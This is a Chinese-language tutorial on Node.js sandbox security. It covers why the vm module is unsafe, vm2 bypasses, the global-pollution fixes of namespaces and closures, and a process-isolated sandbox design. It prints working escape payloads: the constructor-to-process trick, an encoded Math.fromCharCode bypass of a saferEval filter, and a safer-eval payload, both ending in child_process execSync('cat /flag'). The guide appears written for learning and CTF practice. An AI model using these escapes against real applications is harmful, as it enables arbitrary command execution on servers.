nodejs沙箱与黑魔法
字数 1171 2025-08-20 18:18:23
Node.js沙箱与黑魔法安全指南
什么是沙箱
Node.js官方文档中的vm模块可以用来创建沙箱环境执行代码,对代码的上下文环境做隔离。沙箱中的代码使用不同的V8上下文,意味着它拥有与主代码不同的全局对象。
const vm = require('vm');
vm.runInNewContext("console.log('Hello from sandbox')");
Node.js沙箱的安全性
vm模块的安全问题
尽管vm隔离了代码上下文环境,但依然可以访问标准的JS API和全局的Node.js环境,因此vm并不安全。官方文档明确警告:
"The vm module is not a security mechanism. Do not use it to run untrusted code."
危险示例:
const vm = require('vm');
vm.runInNewContext("this.constructor.constructor('return process')().exit()");
console.log("The app goes on..."); // 永远不会执行
安全改进方案
可以通过简化上下文来减少风险,只包含基本类型:
let ctx = Object.create(null);
ctx.a = 1;
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);
vm2模块
为解决原生vm的设计缺陷,社区开发了vm2模块:
const {VM} = require('vm2');
new VM().run('this.constructor.constructor("return process")().exit()');
// 抛出ReferenceError: process is not defined
但vm2也有局限性:
timeout对异步代码不起作用- 可以通过重新定义
Promise绕过限制
绕过示例:
const { VM } = require('vm2');
const vm = new VM({
timeout: 1000,
sandbox: { Promise: function(){}}
});
vm.run('Promise = (async function(){})().constructor;new Promise(()=>{});');
全局变量污染问题
污染示例
// a.js
function f() { alert("f() in a.js"); }
setTimeout(function() { f(); }, 1000);
// b.js
function f() { alert("f() in b.js"); }
setTimeout(function() { f(); }, 2000);
后加载的b.js会覆盖a.js中的f()函数定义。
解决方案
- 命名空间模式:
var sxc = {};
sxc.name = { big_name: "sunxiaochuan", small_name: "sungou" };
sxc.work = { bilibili_work: "chouxiang", weibo_work: "qialanqian" };
- 匿名函数封装:
(function(){
var exp = {};
var name = "aa";
exp.method = function(){ return name; };
window.ex = exp;
})();
JavaScript原型链污染
安全eval实现与绕过
安全eval实现:
function saferEval(str) {
if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) {
return null;
}
return eval(str);
}
绕过方法:
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(...))))(Math+1)()
完整攻击链:
// 生成payload
def gen(cmd):
s = f"return process.mainModule.require('child_process').execSync('{cmd}').toString()"
return ','.join([str(ord(i)) for i in s])
// 实际攻击
((Math)=>(Math=Math.constructor,Math.constructor(Math.fromCharCode(114,101,116,117,114,110,32,112,114,111,99,101,115,115,46,109,97,105,110,77,111,100,117,108,101,46,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,101,120,101,99,83,121,110,99,40,39,99,97,116,32,47,102,108,97,103,39,41,46,116,111,83,116,114,105,110,103,40,41))))(Math+1)()
建立更安全的沙箱环境
进程池方案
-
架构设计:
- 新建进程池管理沙箱进程
- 任务到来时创建Script实例进入pending队列
- 返回Script实例的defer对象
- 调用处await执行结果
-
调度机制:
- sandbox master根据工程进程空闲情况调度执行
- master发送Script信息(含ScriptId)给空闲worker
- worker执行完成后回传"结果+Script信息"
- master通过ScriptId识别完成脚本
-
异常处理:
- 异步操作超时直接kill工程进程
- master检测到进程终止后创建替补进程
数据传输机制
-
常规数据:
- 序列化后通过IPC传入隔离的Sandbox进程
- 结果同样序列化通过IPC传输
-
方法传递:
- 将宿主方法转换为描述对象
- 包含允许调用的方法集合
- worker收到后建立代理方法
- 代理方法通过IPC与master通讯
实际漏洞案例
setTimeout漏洞
Node.js文档说明:
当delay大于2147483647或小于1时,delay会被设置为1。非整数的delay会被截断为整数。
利用方式:
?delay=2147483649
safer-eval库漏洞
攻击payload:
{
'e': `(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()`
}
总结
- 原生
vm模块不安全,不应直接用于执行不可信代码 vm2提供了更好的隔离但仍有绕过可能- 全局变量污染可通过命名空间或模块化解决
- 原型链污染是JavaScript特有的安全问题
- 最安全的沙箱方案是基于进程隔离的架构
- 实际应用中需注意依赖库的安全性和版本